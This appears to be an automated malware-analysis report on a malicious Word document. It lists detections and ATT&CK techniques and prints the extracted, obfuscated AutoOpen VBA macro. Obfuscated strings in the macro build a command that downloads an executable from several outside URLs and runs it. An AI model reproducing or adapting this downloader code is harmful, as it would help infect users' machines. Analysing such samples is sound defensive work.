MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The VBA code is heavily obfuscated and truncated, but it contains a call to the Shell function, indicating it attempts to execute a command or download a payload. The presence of the AutoOpen macro and the ClamAV detection strongly suggest this is a downloader malware.
Heuristics 5
-
ClamAV: Doc.Downloader.00536d-6690697-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.00536d-6690697-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4780 bytes |
SHA-256: c12c3d18fb1e365ca57fd9be6aa242c8af7c07d9d860ae36362a3d2ddd86d84c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "NBoYqjWaZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const CuljbjWjd = 0
Dim raDzX(3)
raDzX(0) = Right(nvVif, 707)
raDzX(1) = Left(HoZKno, 396)
raDzX(2) = Mid(ZAkIA, 307, 38)
Dim iQBSnp(2)
iQBSnp(0) = MidB(sITDN, 979, 468)
iQBSnp(1) = MidB(sITDN, 979, 468)
Dim YtjtJ(3)
YtjtJ(0) = MidB(sITDN, 979, 468)
YtjtJ(1) = Right(nvVif, 707)
YtjtJ(2) = MidB(sITDN, 979, 468)
Dim moLPJw(3)
moLPJw(0) = Left(HoZKno, 396)
moLPJw(1) = Left(HoZKno, 396)
moLPJw(2) = Right(nvVif, 707)
Dim ibwisV(2)
ibwisV(0) = Right(nvVif, 707)
ibwisV(1) = Left(HoZKno, 396)
Shell@ OnwYfE + arnrIDt + MIjJNMmGsiuVnb, CuljbjWjd
Dim HVPCqY(5)
HVPCqY(0) = Mid(ZAkIA, 307, 38)
HVPCqY(1) = Mid(ZAkIA, 307, 38)
HVPCqY(2) = Left(HoZKno, 396)
HVPCqY(3) = Mid(ZAkIA, 307, 38)
HVPCqY(4) = Left(HoZKno, 396)
Dim Evwwz(2)
Evwwz(0) = Right(nvVif, 707)
Evwwz(1) = Right(nvVif, 707)
Dim kMsBc(5)
kMsBc(0) = Left(HoZKno, 396)
kMsBc(1) = MidB(sITDN, 979, 468)
kMsBc(2) = Mid(ZAkIA, 307, 38)
kMsBc(3) = Mid(ZAkIA, 307, 38)
kMsBc(4) = MidB(sITDN, 979, 468)
End Sub
Attribute VB_Name = "NjwlcZFjnP"
Function OnwYfE()
Dim AwDzJ(3)
AwDzJ(0) = Mid(ZAkIA, 307, 38)
AwDzJ(1) = Left(HoZKno, 396)
AwDzJ(2) = Mid(ZAkIA, 307, 38)
Dim EKzoTi(5)
EKzoTi(0) = Left(HoZKno, 396)
EKzoTi(1) = Left(HoZKno, 396)
EKzoTi(2) = Right(nvVif, 707)
EKzoTi(3) = Right(nvVif, 707)
EKzoTi(4) = Mid(ZAkIA, 307, 38)
Dim pjjTMT(2)
pjjTMT(0) = Right(nvVif, 707)
pjjTMT(1) = Left(HoZKno, 396)
Dim FvrAj(2)
FvrAj(0) = Left(HoZKno, 396)
FvrAj(1) = Right(nvVif, 707)
Dim unCLOJ(4)
unCLOJ(0) = MidB(sITDN, 979, 468)
unCLOJ(1) = Left(HoZKno, 396)
unCLOJ(2) = Right(nvVif, 707)
unCLOJ(3) = Mid(ZAkIA, 307, 38)
vVMbRi = Chr(Format(7 + 12 + 17 + 16 + 47)) + "md /V/" + Chr(Format(5 + 8 + 11 + 11 + 32)) + Chr(Format(2 + 4 + 5 + 5 + 18)) + "s^e^t ^QF^z" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "= ^ ^ ^ ^ ^ ^ ^ ^ ^" + " ^}^}{^h" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^" + "t^a" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "}^;k^a^erb^;E^UD$ ^me^t" + "^I^-e^kovnI;)E^U^D$^"
Dim OLsow(2)
OLsow(0) = MidB(sITDN, 979, 468)
OLsow(1) = MidB(sITDN, 979, 468)
hSqXAwz = " ^,^Q^Mo$(^eliFd^aoln^w^oD^." + "^Yw^j^${yrt{)u^w^m$ n^i^ ^Q^" + "M^o^$(h" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^a^er^o^f;'exe^.^'^+X" + "Dr$+'^\'+" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "i^lb^" + "up^:vne^$=EU^D$;^'342^' = X" + "^Dr$;)'@^" + "'(t^il^p^S" + "^.^'^LE6V^A^s^s/483" + "^9204^8^3^2^048^32048" + "^32^0^48^" + "2^0.n^im^d^a^-^p^w/^l" + "p.s^tfil//^:p^tt^h^@^erN^U^" + "HYwP/r^b^.mo" + Chr(Format(7 + 12 + 17 + 16 + 47)) + ".g"
Dim VoGnrR(5)
VoGnrR(0) = Mid(ZAkIA, 307, 38)
VoGnrR(1) = Mid(ZAkIA, 307, 38)
VoGnrR(2) = Right(nvVif, 707)
VoGnrR(3) = MidB(sITDN, 979, 468)
VoGnrR(4) = MidB(sITDN, 979, 468)
hdPFKPHlJ = "nitlu^sn^o" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^z^ul//:^" + "p^t^th@^sW1v^H^T^a/^mo" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^.swe" + "n^s^t^h^girl^ivi" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^l^ano" + "^it^an//:^ptth^@j^I^yJ" + "WlTW/m^o" + Chr(Format(7 + 12 + 17 + 16 + 47)) + ".^i" + "^dr^ev^el^e^h" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^im//^:^p^t" + "^th^@Svv^F^"
Dim rLmoo(3)
rLmoo(0) = Right(nvVif, 707)
rLmoo(1) = Left(HoZKno, 396)
rLmoo(2) = Mid(ZAkIA, 307, 38)
Dim TIZwN(5)
TIZwN(0) = MidB(sITDN, 979, 468)
TIZwN(1) = Right(nvVif, 707)
TIZwN(2) = Mid(ZAkIA, 307, 38)
TIZwN(3) = Left(HoZKno, 396)
TIZwN(4) = Right(nvVif, 707)
Dim wSiXU(3)
wSiXU(0) = Right(nvVif, 707)
wSiXU(1) = Mid(ZAkIA, 307, 38)
wSiXU(2) = Mid(ZAkIA, 307, 38)
HzPCz = "l^p^xj/^s^d" + "^ao^l^pu" + "/^tne^tn^o" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^-pw/m" + "o" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^.ve^d^levar^t^te^g//:^p^t^" + "t^h^'^=^uw^m$^;^" + "tne^il" + Chr(Format(5 + 8 + 11 + 11 + 32)) + "^be^W.t^eN t" + Chr(Form
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.